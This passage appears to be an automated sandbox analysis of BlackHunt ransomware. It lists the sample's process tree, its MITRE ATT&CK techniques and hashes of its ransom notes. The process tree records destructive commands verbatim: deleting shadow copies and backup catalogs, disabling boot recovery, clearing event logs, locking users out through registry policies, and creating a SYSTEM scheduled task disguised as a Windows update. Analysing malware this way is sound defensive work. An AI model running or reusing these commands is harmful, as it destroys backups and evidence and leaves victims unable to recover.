  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe" /F
  2⤵
  PID:2472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2140
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3020
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2588
  - - C:\Windows\system32\fsutil.exe
      fsutil usn deletejournal /D M:\
      4⤵
      Enumerates connected drives
      PID:1332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2236
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2072
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1800
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2688
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:596
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:820
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1480
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1472
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2748
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2080
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2556
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1256
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1432
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2140
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2336
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:836
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3860
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2920
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2460
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1780
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:212
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2720
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe"
  2⤵
  - Deletes itself
  PID:3136
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2588

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1764

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:684

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2216

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2464

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:3204

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2236

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:700

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
d69a6b05e5af6251f8adf1aba56efbe6

SHA1
252da8876a50f8dffc0bc0e69ee973b1417cfa7c

SHA256
15b33793de10b24d53b196e49221d3ba4df57be8c60a12bf07ed993a93e9825a

SHA512
550a239f7f905da106d39a87ab991ecefeed75f6c9ac3b758afe2d53fa34b89ea62054c9764baf159de075c44a939a32e8d0d63667b109912c9aba3c732059d0

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
9aee55ed878af0b490c913b4092c8f73

SHA1
640b28496842db0a203cea3379d47ff86d2f4018

SHA256
50de5511e373377ad119b3e85cd700a986e015ca6b245ea04456ff0c0b7502a6

SHA512
660e828e9788ba16051d1b20fc83ae37515f8bc9ed2008bdd93a4a983d636d095df594c0c12120f5bc4ea61a03ed9a2e4458fbd25b9e3d751b6b961190dc052f

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
9bb773eb209bfc29114e0e2b1051a667

SHA1
8562645d8d0a42fc89d43a51b59e097f72d36b67

SHA256
d8bd8a48535de534f07b87c0bbcb861fe24f696d42f81958b77c30f789e7f3d6

SHA512
dfeaee4d514248b384653ab8adc623d9526e72da7d3274857eac6ae29122b00d8ba39f1ef9300b46a3530f7f715f70f56e9f58b6c209a3ee0230e3da308bf963

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads